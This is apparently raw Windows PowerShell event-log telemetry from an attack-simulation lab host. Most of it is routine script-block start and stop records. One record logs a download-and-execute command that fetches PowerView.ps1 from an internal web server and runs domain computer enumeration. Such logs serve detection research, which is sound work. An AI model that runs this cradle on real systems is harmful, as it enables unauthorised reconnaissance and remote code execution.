09/09/2021 06:17:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989429 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989428 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989427 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989426 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989445 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989444 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989443 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989442 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989441 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989440 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989439 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989438 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989437 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989436 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989455 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989454 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989453 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989452 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989451 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989450 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989449 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989448 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989447 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989446 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=40961 EventType=4 Type=Information ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=PowerShell Console Startup OpCode=Start RecordNumber=1989472 Keywords=None Message=PowerShell console is starting up 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989471 Keywords=None Message=Started invocation of ScriptBlock ID: 34eba983-5a55-4f90-930b-531d4ee96cb4 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989470 Keywords=None Message=Creating Scriptblock text (1 of 1): cmd.exe /c powershell.exe -C "IEX (New-Object Net.WebClient).DownloadString('http://10.0.1.16:8000/PowerView.ps1');Get-DomainComputer" ScriptBlock ID: 34eba983-5a55-4f90-930b-531d4ee96cb4 Path: 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989469 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989468 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989467 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989466 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989465 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989464 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989463 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989462 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989461 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989460 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989459 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989458 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989457 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989456 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989765 Keywords=None Message=Completed invocation of ScriptBlock ID: 76ff2140-ff55-410e-bbc6-3b9998c55ebc Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989764 Keywords=None Message=Started invocation of ScriptBlock ID: 76ff2140-ff55-410e-bbc6-3b9998c55ebc Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989763 Keywords=None Message=Creating Scriptblock text (1 of 1): {$_} ScriptBlock ID: 76ff2140-ff55-410e-bbc6-3b9998c55ebc Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989762 Keywords=None Message=Completed invocation of ScriptBlock ID: dd97354c-c84a-4b94-8d89-90ebaffa0457 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989761 Keywords=None Message=Started invocation of ScriptBlock ID: dd97354c-c84a-4b94-8d89-90ebaffa0457 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989760 Keywords=None Message=Creating Scriptblock text (1 of 1): {$_} ScriptBlock ID: dd97354c-c84a-4b94-8d89-90ebaffa0457 Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989759 Keywords=None Message=Completed invocation of ScriptBlock ID: 2a8f89e7-bce4-4d0e-9c89-e73b0bbee6ae Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989758 Keywords=None Message=Started invocation of ScriptBlock ID: 2a8f89e7-bce4-4d0e-9c89-e73b0bbee6ae Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989757 Keywords=None Message=Completed invocation of ScriptBlock ID: 2a8f89e7-bce4-4d0e-9c89-e73b0bbee6ae Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989756 Keywords=None Message=Started invocation of ScriptBlock ID: 2a8f89e7-bce4-4d0e-9c89-e73b0bbee6ae Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989755 Keywords=None Message=Creating Scriptblock text (1 of 1): {Get-Variable -Name $_ -ValueOnly -Scope 0} ScriptBlock ID: 2a8f89e7-bce4-4d0e-9c89-e73b0bbee6ae Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989754 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989753 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989752 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989751 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 